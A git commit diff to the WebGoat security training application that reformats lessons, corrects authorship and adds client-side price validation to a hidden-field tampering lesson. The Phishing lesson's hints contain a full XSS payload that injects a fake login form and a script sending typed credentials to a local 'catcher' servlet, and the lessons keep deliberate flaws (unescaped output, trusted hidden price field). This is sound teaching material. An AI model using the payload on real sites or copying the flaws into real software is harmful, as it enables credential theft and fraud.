Added client side validation to HiddenFieldTampering.java, added a new ECS makeButton with a OnClick function, corrected authorship in several files
git-svn-id: http://webgoat.googlecode.com/svn/trunk@220 4033779f-a91e-0410-96ef-6bf7bf53c507
This commit is contained in:
mayhew64
parent
3645564018
commit
84ca966ce5
@ -46,7 +46,7 @@ import org.owasp.webgoat.session.WebSession;
|
||||
* For details, please see http://code.google.com/p/webgoat/
|
||||
*
|
||||
* @author Chuck Willis <a href="http://www.securityfoundry.com">Chuck's web
|
||||
* site</a> (this lesson is heavily based on Jeff Williams' SQL
|
||||
* site</a> (this lesson is heavily based on Bruce Mayhews' SQL
|
||||
* Injection lesson
|
||||
* @created January 14, 2005
|
||||
*/
|
||||
|
||||
@ -53,8 +53,8 @@ import org.owasp.webgoat.session.ParameterNotFoundException;
|
||||
*
|
||||
* For details, please see http://code.google.com/p/webgoat/
|
||||
*
|
||||
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
|
||||
* @created October 28, 2003
|
||||
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
|
||||
* @created October 28, 2003
|
||||
*/
|
||||
public class DOS_Login extends LessonAdapter
|
||||
{
|
||||
|
||||
@ -2,9 +2,11 @@ package org.owasp.webgoat.lessons;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.regex.Pattern;
|
||||
|
||||
import org.apache.ecs.Element;
|
||||
import org.apache.ecs.ElementContainer;
|
||||
import org.apache.ecs.StringElement;
|
||||
import org.apache.ecs.html.A;
|
||||
import org.apache.ecs.html.B;
|
||||
import org.apache.ecs.html.BR;
|
||||
@ -48,191 +50,193 @@ import org.owasp.webgoat.session.WebSession;
|
||||
* for free software projects.
|
||||
*
|
||||
* For details, please see http://code.google.com/p/webgoat/
|
||||
*
|
||||
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
|
||||
* @created October 28, 2003
|
||||
*/
|
||||
*
|
||||
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
|
||||
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
|
||||
* @created October 28, 2003
|
||||
*/
|
||||
public class HiddenFieldTampering extends LessonAdapter
|
||||
{
|
||||
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
|
||||
|
||||
private final static String PRICE = "Price";
|
||||
public final static A ASPECT_LOGO =
|
||||
new A().setHref("http://www.aspectsecurity.com").addElement(
|
||||
new IMG("images/logos/aspect.jpg")
|
||||
.setAlt("Aspect Security").setBorder(0)
|
||||
.setHspace(0).setVspace(0));
|
||||
|
||||
private final static String PRICE_TV = "2999.99";
|
||||
private final static String PRICE = "Price";
|
||||
|
||||
private final static String PRICE_TV_HACKED = "9.99";
|
||||
private final static String PRICE_TV = "2999.99";
|
||||
|
||||
private final static String PRICE_TV_HACKED = "9.99";
|
||||
|
||||
/**
|
||||
* Constructor for the HiddenFieldScreen object
|
||||
*/
|
||||
public HiddenFieldTampering()
|
||||
{}
|
||||
String regex = "^" + PRICE_TV + "$"; // obviously the "." will match any char - any interesting exploit!
|
||||
Pattern pattern1 = Pattern.compile(regex);
|
||||
String lineSep = System.getProperty("line.separator");
|
||||
String script =
|
||||
"<SCRIPT>" + lineSep + "regex=/" + regex + "/;" + "function validate() { " + lineSep
|
||||
+ "if (!regex.test(document.form." + PRICE + ".value)) {alert('Data tampering is disallowed'); "
|
||||
+" document.form." + PRICE + ".value = " + PRICE_TV + ";}"
|
||||
+ lineSep + "else document.form.submit();" + lineSep + "} " + lineSep + "</SCRIPT>" + lineSep;
|
||||
|
||||
|
||||
/**
|
||||
* Description of the Method
|
||||
*
|
||||
* @param s Description of the Parameter
|
||||
* @return Description of the Return Value
|
||||
*/
|
||||
protected Element createContent(WebSession s)
|
||||
{
|
||||
ElementContainer ec = new ElementContainer();
|
||||
|
||||
try
|
||||
/**
|
||||
* Constructor for the HiddenFieldScreen object
|
||||
*/
|
||||
public HiddenFieldTampering()
|
||||
{
|
||||
String price = s.getParser().getRawParameter(PRICE, PRICE_TV);
|
||||
float quantity = s.getParser().getFloatParameter("QTY", 1.0f);
|
||||
float total = quantity * Float.parseFloat(price);
|
||||
|
||||
if (price.equals(PRICE_TV))
|
||||
{
|
||||
ec.addElement(new Center().addElement(new H1()
|
||||
.addElement("Shopping Cart ")));
|
||||
ec.addElement(new BR());
|
||||
Table t = new Table().setCellSpacing(0).setCellPadding(2)
|
||||
.setBorder(1).setWidth("90%").setAlign("center");
|
||||
|
||||
if (s.isColor())
|
||||
{
|
||||
t.setBorder(1);
|
||||
}
|
||||
|
||||
TR tr = new TR();
|
||||
tr.addElement(new TH().addElement(
|
||||
"Shopping Cart Items -- To Buy Now").setWidth("80%"));
|
||||
tr.addElement(new TH().addElement("Price:").setWidth("10%"));
|
||||
tr.addElement(new TH().addElement("Quantity:").setWidth("3%"));
|
||||
tr.addElement(new TH().addElement("Total").setWidth("7%"));
|
||||
t.addElement(tr);
|
||||
|
||||
tr = new TR();
|
||||
tr.addElement(new TD()
|
||||
.addElement("56 inch HDTV (model KTV-551)"));
|
||||
tr.addElement(new TD().addElement(PRICE_TV).setAlign("right"));
|
||||
tr.addElement(new TD().addElement(
|
||||
new Input(Input.TEXT, "QTY", 1)).setAlign("right"));
|
||||
tr.addElement(new TD().addElement("$" + total));
|
||||
t.addElement(tr);
|
||||
|
||||
ec.addElement(t);
|
||||
|
||||
t = new Table().setCellSpacing(0).setCellPadding(2)
|
||||
.setBorder(0).setWidth("90%").setAlign("center");
|
||||
|
||||
if (s.isColor())
|
||||
{
|
||||
t.setBorder(1);
|
||||
}
|
||||
|
||||
ec.addElement(new BR());
|
||||
tr = new TR();
|
||||
tr.addElement(new TD()
|
||||
.addElement("The total charged to your credit card:"));
|
||||
tr.addElement(new TD().addElement("$" + total));
|
||||
tr.addElement(new TD().addElement(ECSFactory
|
||||
.makeButton("Update Cart")));
|
||||
tr.addElement(new TD().addElement(ECSFactory
|
||||
.makeButton("Purchase")));
|
||||
t.addElement(tr);
|
||||
|
||||
ec.addElement(t);
|
||||
|
||||
Input input = new Input(Input.HIDDEN, PRICE, PRICE_TV);
|
||||
ec.addElement(input);
|
||||
ec.addElement(new BR());
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
if (!price.toString().equals(PRICE_TV))
|
||||
{
|
||||
makeSuccess(s);
|
||||
}
|
||||
|
||||
ec.addElement(new P().addElement("Your total price is:"));
|
||||
ec.addElement(new B("$" + total));
|
||||
ec.addElement(new BR());
|
||||
ec
|
||||
.addElement(new P()
|
||||
.addElement("This amount will be charged to your credit card immediately."));
|
||||
}
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
s.setMessage("Error generating " + this.getClass().getName());
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
return (ec);
|
||||
}
|
||||
/**
|
||||
* Description of the Method
|
||||
*
|
||||
* @param s
|
||||
* Description of the Parameter
|
||||
* @return Description of the Return Value
|
||||
*/
|
||||
protected Element createContent(WebSession s)
|
||||
{
|
||||
ElementContainer ec = new ElementContainer();
|
||||
ec.addElement(new StringElement(script));
|
||||
float quantity;
|
||||
float total;
|
||||
String price = PRICE_TV;
|
||||
try
|
||||
{
|
||||
price = s.getParser().getRawParameter(PRICE, PRICE_TV);
|
||||
quantity = s.getParser().getFloatParameter("QTY", 1.0f);
|
||||
total = quantity * Float.parseFloat(price);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
s.setMessage("Invaild data " + this.getClass().getName());
|
||||
price = PRICE_TV;
|
||||
quantity = 1.0f;
|
||||
total = quantity * Float.parseFloat(PRICE_TV);
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* DOCUMENT ME!
|
||||
*
|
||||
* @return DOCUMENT ME!
|
||||
*/
|
||||
protected Category getDefaultCategory()
|
||||
{
|
||||
return Category.UNVALIDATED_PARAMETERS;
|
||||
}
|
||||
if (price.equals(PRICE_TV))
|
||||
{
|
||||
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
|
||||
ec.addElement(new BR());
|
||||
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
|
||||
|
||||
if (s.isColor())
|
||||
{
|
||||
t.setBorder(1);
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the hints attribute of the HiddenFieldScreen object
|
||||
*
|
||||
* @return The hints value
|
||||
*/
|
||||
protected List<String> getHints(WebSession s)
|
||||
{
|
||||
List<String> hints = new ArrayList<String>();
|
||||
hints
|
||||
.add("This application is using hidden fields to transmit price information to the server.");
|
||||
hints
|
||||
.add("Use a program to intercept and change the value in the hidden field.");
|
||||
hints
|
||||
.add("Use <A href=\"http://www.owasp.org/development/webscarab\">WebScarab</A> to change the price of the TV from "
|
||||
+ PRICE_TV + " to " + PRICE_TV_HACKED + ".");
|
||||
TR tr = new TR();
|
||||
tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%"));
|
||||
tr.addElement(new TH().addElement("Price:").setWidth("10%"));
|
||||
tr.addElement(new TH().addElement("Quantity:").setWidth("3%"));
|
||||
tr.addElement(new TH().addElement("Total").setWidth("7%"));
|
||||
t.addElement(tr);
|
||||
|
||||
return hints;
|
||||
}
|
||||
tr = new TR();
|
||||
tr.addElement(new TD().addElement("56 inch HDTV (model KTV-551)"));
|
||||
tr.addElement(new TD().addElement(PRICE_TV).setAlign("right"));
|
||||
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY", 1)).setAlign("right"));
|
||||
tr.addElement(new TD().addElement("$" + total));
|
||||
t.addElement(tr);
|
||||
|
||||
ec.addElement(t);
|
||||
|
||||
/**
|
||||
* Gets the instructions attribute of the HiddenFieldTampering object
|
||||
*
|
||||
* @return The instructions value
|
||||
*/
|
||||
public String getInstructions(WebSession s)
|
||||
{
|
||||
String instructions = "Try to purchase the HDTV for less than the purchase price, if you have not done so already.";
|
||||
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
|
||||
|
||||
return (instructions);
|
||||
}
|
||||
if (s.isColor())
|
||||
{
|
||||
t.setBorder(1);
|
||||
}
|
||||
|
||||
private final static Integer DEFAULT_RANKING = new Integer(50);
|
||||
ec.addElement(new BR());
|
||||
tr = new TR();
|
||||
tr.addElement(new TD().addElement("The total charged to your credit card:"));
|
||||
tr.addElement(new TD().addElement("$" + total));
|
||||
tr.addElement(new TD().addElement(ECSFactory.makeButton("Update Cart")));
|
||||
tr.addElement(new TD().addElement(ECSFactory.makeButton("Purchase", "validate()")));
|
||||
t.addElement(tr);
|
||||
|
||||
ec.addElement(t);
|
||||
|
||||
protected Integer getDefaultRanking()
|
||||
{
|
||||
return DEFAULT_RANKING;
|
||||
}
|
||||
Input input = new Input(Input.HIDDEN, PRICE, PRICE_TV);
|
||||
ec.addElement(input);
|
||||
ec.addElement(new BR());
|
||||
|
||||
} else
|
||||
{
|
||||
if (!price.toString().equals(PRICE_TV))
|
||||
{
|
||||
makeSuccess(s);
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the title attribute of the HiddenFieldScreen object
|
||||
*
|
||||
* @return The title value
|
||||
*/
|
||||
public String getTitle()
|
||||
{
|
||||
return ("Exploit Hidden Fields");
|
||||
}
|
||||
|
||||
public Element getCredits()
|
||||
{
|
||||
return super.getCustomCredits("", ASPECT_LOGO);
|
||||
}
|
||||
ec.addElement(new P().addElement("Your total price is:"));
|
||||
ec.addElement(new B("$" + total));
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new P().addElement("This amount will be charged to your credit card immediately."));
|
||||
}
|
||||
|
||||
return (ec);
|
||||
}
|
||||
|
||||
/**
|
||||
* DOCUMENT ME!
|
||||
*
|
||||
* @return DOCUMENT ME!
|
||||
*/
|
||||
protected Category getDefaultCategory()
|
||||
{
|
||||
return Category.UNVALIDATED_PARAMETERS;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the hints attribute of the HiddenFieldScreen object
|
||||
*
|
||||
* @return The hints value
|
||||
*/
|
||||
protected List<String> getHints(WebSession s)
|
||||
{
|
||||
List<String> hints = new ArrayList<String>();
|
||||
hints.add("This application is using hidden fields to transmit price information to the server.");
|
||||
hints.add("Use a program to intercept and change the value in the hidden field.");
|
||||
hints
|
||||
.add("Use <A href=\"http://www.owasp.org/development/webscarab\">WebScarab</A> to change the price of the TV from "
|
||||
+ PRICE_TV + " to " + PRICE_TV_HACKED + ".");
|
||||
|
||||
return hints;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the instructions attribute of the HiddenFieldTampering object
|
||||
*
|
||||
* @return The instructions value
|
||||
*/
|
||||
public String getInstructions(WebSession s)
|
||||
{
|
||||
String instructions =
|
||||
"Try to purchase the HDTV for less than the purchase price, if you have not done so already.";
|
||||
|
||||
return (instructions);
|
||||
}
|
||||
|
||||
private final static Integer DEFAULT_RANKING = new Integer(50);
|
||||
|
||||
protected Integer getDefaultRanking()
|
||||
{
|
||||
return DEFAULT_RANKING;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the title attribute of the HiddenFieldScreen object
|
||||
*
|
||||
* @return The title value
|
||||
*/
|
||||
public String getTitle()
|
||||
{
|
||||
return ("Exploit Hidden Fields");
|
||||
}
|
||||
|
||||
public Element getCredits()
|
||||
{
|
||||
return super.getCustomCredits("", ASPECT_LOGO);
|
||||
}
|
||||
}
|
||||
|
||||
@ -39,8 +39,8 @@ import org.owasp.webgoat.session.WebSession;
|
||||
*
|
||||
* For details, please see http://code.google.com/p/webgoat/
|
||||
*
|
||||
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
|
||||
* @created October 28, 2003
|
||||
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
|
||||
* @created October 28, 2003
|
||||
*/
|
||||
public class HttpBasics extends LessonAdapter
|
||||
{
|
||||
|
||||
@ -48,235 +48,251 @@ import org.owasp.webgoat.session.WebSession;
|
||||
* for free software projects.
|
||||
*
|
||||
* For details, please see http://code.google.com/p/webgoat/
|
||||
*
|
||||
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
|
||||
* @created March 13, 2007
|
||||
*
|
||||
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
|
||||
* @created March 13, 2007
|
||||
*/
|
||||
public class Phishing extends LessonAdapter
|
||||
{
|
||||
|
||||
/**
|
||||
* Description of the Field
|
||||
*/
|
||||
protected final static String SEARCH = "Username";
|
||||
|
||||
/**
|
||||
* Description of the Field
|
||||
*/
|
||||
protected final static String SEARCH = "Username";
|
||||
private String searchText;
|
||||
|
||||
|
||||
/**
|
||||
* Description of the Method
|
||||
*
|
||||
* @param s Description of the Parameter
|
||||
* @return Description of the Return Value
|
||||
*/
|
||||
private boolean postedCredentials(WebSession s)
|
||||
{
|
||||
String postedToCookieCatcher = getLessonTracker(s).getLessonProperties()
|
||||
.getProperty(Catcher.PROPERTY, Catcher.EMPTY_STRING);
|
||||
|
||||
//<START_OMIT_SOURCE>
|
||||
return (!postedToCookieCatcher.equals(Catcher.EMPTY_STRING));
|
||||
//<END_OMIT_SOURCE>
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Description of the Method
|
||||
*
|
||||
* @param s Description of the Parameter
|
||||
* @return Description of the Return Value
|
||||
*/
|
||||
protected Element createContent(WebSession s)
|
||||
{
|
||||
ElementContainer ec = new ElementContainer();
|
||||
|
||||
try
|
||||
{
|
||||
searchText = s.getParser().getRawParameter(SEARCH,"");
|
||||
//<START_OMIT_SOURCE>
|
||||
//<END_OMIT_SOURCE>
|
||||
|
||||
ec.addElement(makeSearch(s));
|
||||
if (postedCredentials(s))
|
||||
{
|
||||
makeSuccess(s);
|
||||
}
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
s.setMessage("Error generating " + this.getClass().getName());
|
||||
}
|
||||
|
||||
return (ec);
|
||||
}
|
||||
|
||||
|
||||
protected Element makeSearch(WebSession s)
|
||||
{
|
||||
ElementContainer ec = new ElementContainer();
|
||||
|
||||
ec.addElement(new H1().addElement("WebGoat Search "));
|
||||
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
|
||||
.setAlign("center");
|
||||
|
||||
TR tr = new TR();
|
||||
tr.addElement(new TD().addElement(" ").setColSpan(2));
|
||||
t.addElement(tr);
|
||||
if (s.isColor())
|
||||
{
|
||||
t.setBorder(1);
|
||||
}
|
||||
|
||||
tr = new TR();
|
||||
tr
|
||||
.addElement(new TH()
|
||||
.addElement(
|
||||
"This facility will search the WebGoat source.")
|
||||
.setColSpan(2).setAlign("center"));
|
||||
t.addElement(tr);
|
||||
|
||||
tr = new TR();
|
||||
tr.addElement(new TD().addElement(" ").setColSpan(2));
|
||||
t.addElement(tr);
|
||||
|
||||
TR row1 = new TR();
|
||||
row1.addElement(new TD(new B(new StringElement("Search: "))).setAlign("right"));
|
||||
|
||||
Input input1 = new Input(Input.TEXT, SEARCH, searchText);
|
||||
row1.addElement(new TD(input1).setAlign("left"));
|
||||
t.addElement(row1);
|
||||
|
||||
Element b = ECSFactory.makeButton("Search");
|
||||
t.addElement(new TR(new TD(b).setColSpan(2)).setAlign("center"));
|
||||
ec.addElement(t);
|
||||
|
||||
if (!searchText.equals(""))
|
||||
{
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new HR());
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new StringElement("Results for: " + searchText));
|
||||
ec.addElement(new Comment("Search results"));
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new B(new StringElement("No results were found.")));
|
||||
ec.addElement(new Comment("End of Search results"));
|
||||
}
|
||||
|
||||
return (ec);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Gets the hints attribute of the CluesScreen object
|
||||
*
|
||||
* @return The hints value
|
||||
*/
|
||||
protected List<String> getHints(WebSession s)
|
||||
{
|
||||
List<String> hints = new ArrayList<String>();
|
||||
hints
|
||||
.add("Try adding HTML to the search field to create a fake authentication form.<BR>" +
|
||||
"Try to make the form look official.");
|
||||
hints.add("Try: <BR> " +
|
||||
"password<form><br><br><HR><H3>This feature requires account login:</H2" +
|
||||
"><br><br>Enter Username:<br><input type="text" id="user" " +
|
||||
"name="user"><br>Enter Password:<br><input type="password" " +
|
||||
"name = "pass"><br></form><br><br><HR>");
|
||||
hints.add("Add functionality that can post a request, a button might work<BR><BR>" +
|
||||
"After getting the button on the page, don't forget you will need to steal the credentials and post them to: <BR>" +
|
||||
"http://localhost./WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE");
|
||||
hints.add("Try: <BR> " +
|
||||
"<input type="submit" name="login" " +
|
||||
"value="login">"+
|
||||
"<BR><BR>Solution for this hint:<BR><BR>" +
|
||||
"password<form><br><br><HR><H3>This feature requires account login:</H2" +
|
||||
"><br><br>Enter Username:<br><input type="text" id="user" " +
|
||||
"name="user"><br>Enter Password:<br><input type="password" " +
|
||||
"name = "pass"><br><input type="submit" name="login" " +
|
||||
"value="login" onclick="hack()"></form><br><br><HR>");
|
||||
hints.add("Make the button perform an action on submit, <BR>" +
|
||||
"adding an onclick=\"hack()\" might work<BR>"+
|
||||
"Don't forget to add the hack() javascript function" +
|
||||
"<BR><BR>Solution for this hint:<BR><BR>" +
|
||||
"password<form><br><br><HR><H3>This feature requires account login:</H2" +
|
||||
"><br><br>Enter Username:<br><input type="text" id="user" " +
|
||||
"name="user"><br>Enter Password:<br><input type="password" " +
|
||||
"name = "pass"><br><input type="submit" name="login" " +
|
||||
"value="login" onclick="hack()"></form><br><br><HR>");
|
||||
hints.add("You need to create the hack() function. This function will pull the credentials from the " +
|
||||
"webpage and post them to the WebGoat catcher servlet. <BR>" +
|
||||
"<BR> Some useful code snippets:<UL>" +
|
||||
"<LI>doucument.forms[0].user.value - will access the user field" +
|
||||
"<LI>XssImage = new Image(); XssImage.src=SOME_URL = will perform a post" +
|
||||
"<LI>javascript string concatentation uses a \"+\" </UL>" +
|
||||
"<BR><BR>Solution for this hint():<BR><BR>" +
|
||||
"password<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen." +
|
||||
"\nUser Name = " + document.forms(0).user.value + "\nPassword = " + document.forms(0).pass.value); " +
|
||||
"XSSImage=new Image; XSSImage.src="http://localhost./WebGoat/catcher?PROPERTY=yes&user="+" +
|
||||
"document.forms(0).user.value + "&password=" + document.forms(0).pass.value + "";}" +
|
||||
"</script>");
|
||||
hints.add("Complete solution for this lesson:<BR><BR>" +
|
||||
"password<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen." +
|
||||
"\nUser Name = " + document.forms(0).user.value + "\nPassword = " + document.forms(0).pass.value); " +
|
||||
"XSSImage=new Image; XSSImage.src="http://localhost./WebGoat/catcher?PROPERTY=yes&user="+" +
|
||||
"document.forms(0).user.value + "&password=" + document.forms(0).pass.value + "";}" +
|
||||
"</script><form><br><br><HR><H3>This feature requires account login:</H2" +
|
||||
"><br><br>Enter Username:<br><input type="text" id="user" " +
|
||||
"name="user"><br>Enter Password:<br><input type="password" " +
|
||||
"name = "pass"><br><input type="submit" name="login" " +
|
||||
"value="login" onclick="hack()"></form><br><br><HR>");
|
||||
/**
|
||||
* password<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen.\nUser Name = " + document.forms(0).user.value + "\nPassword = " + document.forms(0).pass.value); XSSImage=new Image; XSSImage.src="http://localhost./WebGoat/catcher?PROPERTY=yes&user="+document.forms(0).user.value + "&password=" + document.forms(0).pass.value + "";}</script><form><br><br><HR><H3>This feature requires account login:</H2><br><br>Enter Username:<br><input type="text" id="user" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR> <!--
|
||||
* Description of the Method
|
||||
*
|
||||
* @param s
|
||||
* Description of the Parameter
|
||||
* @return Description of the Return Value
|
||||
*/
|
||||
return hints;
|
||||
}
|
||||
/**
|
||||
* Gets the instructions attribute of the XssSearch object
|
||||
*
|
||||
* @return The instructions value
|
||||
*/
|
||||
public String getInstructions(WebSession s)
|
||||
{
|
||||
String instructions = "This lesson is an example of how a website might support a phishing attack<BR><BR>" +
|
||||
"Below is an example of a standard search feature.<br>" +
|
||||
"Using XSS and HTML insertion, your goal is to: <UL>" +
|
||||
"<LI>Insert html to that requests credentials" +
|
||||
"<LI>Add javascript to actually collect the credentials" +
|
||||
"<LI>Post the credentials to http://localhost./WebGoat/catcher?PROPERTY=yes...</UL> " +
|
||||
"To pass this lesson, the credentials must be posted to the catcher servlet.<BR>";
|
||||
private boolean postedCredentials(WebSession s)
|
||||
{
|
||||
String postedToCookieCatcher =
|
||||
getLessonTracker(s).getLessonProperties().getProperty(Catcher.PROPERTY, Catcher.EMPTY_STRING);
|
||||
|
||||
return (instructions);
|
||||
}
|
||||
// <START_OMIT_SOURCE>
|
||||
return (!postedToCookieCatcher.equals(Catcher.EMPTY_STRING));
|
||||
// <END_OMIT_SOURCE>
|
||||
}
|
||||
|
||||
private final static Integer DEFAULT_RANKING = new Integer(30);
|
||||
/**
|
||||
* Description of the Method
|
||||
*
|
||||
* @param s
|
||||
* Description of the Parameter
|
||||
* @return Description of the Return Value
|
||||
*/
|
||||
protected Element createContent(WebSession s)
|
||||
{
|
||||
ElementContainer ec = new ElementContainer();
|
||||
|
||||
try
|
||||
{
|
||||
searchText = s.getParser().getRawParameter(SEARCH, "");
|
||||
// <START_OMIT_SOURCE>
|
||||
// <END_OMIT_SOURCE>
|
||||
|
||||
protected Integer getDefaultRanking()
|
||||
{
|
||||
return DEFAULT_RANKING;
|
||||
}
|
||||
ec.addElement(makeSearch(s));
|
||||
if (postedCredentials(s))
|
||||
{
|
||||
makeSuccess(s);
|
||||
}
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
s.setMessage("Error generating " + this.getClass().getName());
|
||||
}
|
||||
|
||||
return (ec);
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the category attribute of the FailOpenAuthentication object
|
||||
*
|
||||
* @return The category value
|
||||
*/
|
||||
protected Category getDefaultCategory()
|
||||
{
|
||||
return Category.XSS;
|
||||
}
|
||||
protected Element makeSearch(WebSession s)
|
||||
{
|
||||
ElementContainer ec = new ElementContainer();
|
||||
|
||||
ec.addElement(new H1().addElement("WebGoat Search "));
|
||||
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setAlign("center");
|
||||
|
||||
TR tr = new TR();
|
||||
tr.addElement(new TD().addElement(" ").setColSpan(2));
|
||||
t.addElement(tr);
|
||||
if (s.isColor())
|
||||
{
|
||||
t.setBorder(1);
|
||||
}
|
||||
|
||||
tr = new TR();
|
||||
tr.addElement(new TH().addElement("This facility will search the WebGoat source.").setColSpan(2)
|
||||
.setAlign("center"));
|
||||
t.addElement(tr);
|
||||
|
||||
tr = new TR();
|
||||
tr.addElement(new TD().addElement(" ").setColSpan(2));
|
||||
t.addElement(tr);
|
||||
|
||||
TR row1 = new TR();
|
||||
row1.addElement(new TD(new B(new StringElement("Search: "))).setAlign("right"));
|
||||
|
||||
Input input1 = new Input(Input.TEXT, SEARCH, searchText);
|
||||
row1.addElement(new TD(input1).setAlign("left"));
|
||||
t.addElement(row1);
|
||||
|
||||
Element b = ECSFactory.makeButton("Search");
|
||||
t.addElement(new TR(new TD(b).setColSpan(2)).setAlign("center"));
|
||||
ec.addElement(t);
|
||||
|
||||
if (!searchText.equals(""))
|
||||
{
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new HR());
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new StringElement("Results for: " + searchText));
|
||||
ec.addElement(new Comment("Search results"));
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new B(new StringElement("No results were found.")));
|
||||
ec.addElement(new Comment("End of Search results"));
|
||||
}
|
||||
|
||||
return (ec);
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the hints attribute of the CluesScreen object
|
||||
*
|
||||
* @return The hints value
|
||||
*/
|
||||
protected List<String> getHints(WebSession s)
|
||||
{
|
||||
List<String> hints = new ArrayList<String>();
|
||||
hints.add("Try adding HTML to the search field to create a fake authentication form.<BR>"
|
||||
+ "Try to make the form look official.");
|
||||
hints
|
||||
.add("Try: <BR> "
|
||||
+ "password<form><br><br><HR><H3>This feature requires account login:</H2"
|
||||
+ "><br><br>Enter Username:<br><input type="text" id="user" "
|
||||
+ "name="user"><br>Enter Password:<br><input type="password" "
|
||||
+ "name = "pass"><br></form><br><br><HR>");
|
||||
hints
|
||||
.add("Add functionality that can post a request, a button might work<BR><BR>"
|
||||
+ "After getting the button on the page, don't forget you will need to steal the credentials and post them to: <BR>"
|
||||
+ "http://localhost./WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE");
|
||||
hints
|
||||
.add("Try: <BR> "
|
||||
+ "<input type="submit" name="login" "
|
||||
+ "value="login">"
|
||||
+ "<BR><BR>Solution for this hint:<BR><BR>"
|
||||
+ "password<form><br><br><HR><H3>This feature requires account login:</H2"
|
||||
+ "><br><br>Enter Username:<br><input type="text" id="user" "
|
||||
+ "name="user"><br>Enter Password:<br><input type="password" "
|
||||
+ "name = "pass"><br><input type="submit" name="login" "
|
||||
+ "value="login" onclick="hack()"></form><br><br><HR>");
|
||||
hints
|
||||
.add("Make the button perform an action on submit, <BR>"
|
||||
+ "adding an onclick=\"hack()\" might work<BR>"
|
||||
+ "Don't forget to add the hack() javascript function"
|
||||
+ "<BR><BR>Solution for this hint:<BR><BR>"
|
||||
+ "password<form><br><br><HR><H3>This feature requires account login:</H2"
|
||||
+ "><br><br>Enter Username:<br><input type="text" id="user" "
|
||||
+ "name="user"><br>Enter Password:<br><input type="password" "
|
||||
+ "name = "pass"><br><input type="submit" name="login" "
|
||||
+ "value="login" onclick="hack()"></form><br><br><HR>");
|
||||
hints
|
||||
.add("You need to create the hack() function. This function will pull the credentials from the "
|
||||
+ "webpage and post them to the WebGoat catcher servlet. <BR>"
|
||||
+ "<BR> Some useful code snippets:<UL>"
|
||||
+ "<LI>doucument.forms[0].user.value - will access the user field"
|
||||
+ "<LI>XssImage = new Image(); XssImage.src=SOME_URL = will perform a post"
|
||||
+ "<LI>javascript string concatentation uses a \"+\" </UL>"
|
||||
+ "<BR><BR>Solution for this hint():<BR><BR>"
|
||||
+ "password<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen."
|
||||
+ "\nUser Name = " + document.forms(0).user.value + "\nPassword = " + document.forms(0).pass.value); "
|
||||
+ "XSSImage=new Image; XSSImage.src="http://localhost./WebGoat/catcher?PROPERTY=yes&user="+"
|
||||
+ "document.forms(0).user.value + "&password=" + document.forms(0).pass.value + "";}"
|
||||
+ "</script>");
|
||||
hints
|
||||
.add("Complete solution for this lesson:<BR><BR>"
|
||||
+ "password<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen."
|
||||
+ "\nUser Name = " + document.forms(0).user.value + "\nPassword = " + document.forms(0).pass.value); "
|
||||
+ "XSSImage=new Image; XSSImage.src="http://localhost./WebGoat/catcher?PROPERTY=yes&user="+"
|
||||
+ "document.forms(0).user.value + "&password=" + document.forms(0).pass.value + "";}"
|
||||
+ "</script><form><br><br><HR><H3>This feature requires account login:</H2"
|
||||
+ "><br><br>Enter Username:<br><input type="text" id="user" "
|
||||
+ "name="user"><br>Enter Password:<br><input type="password" "
|
||||
+ "name = "pass"><br><input type="submit" name="login" "
|
||||
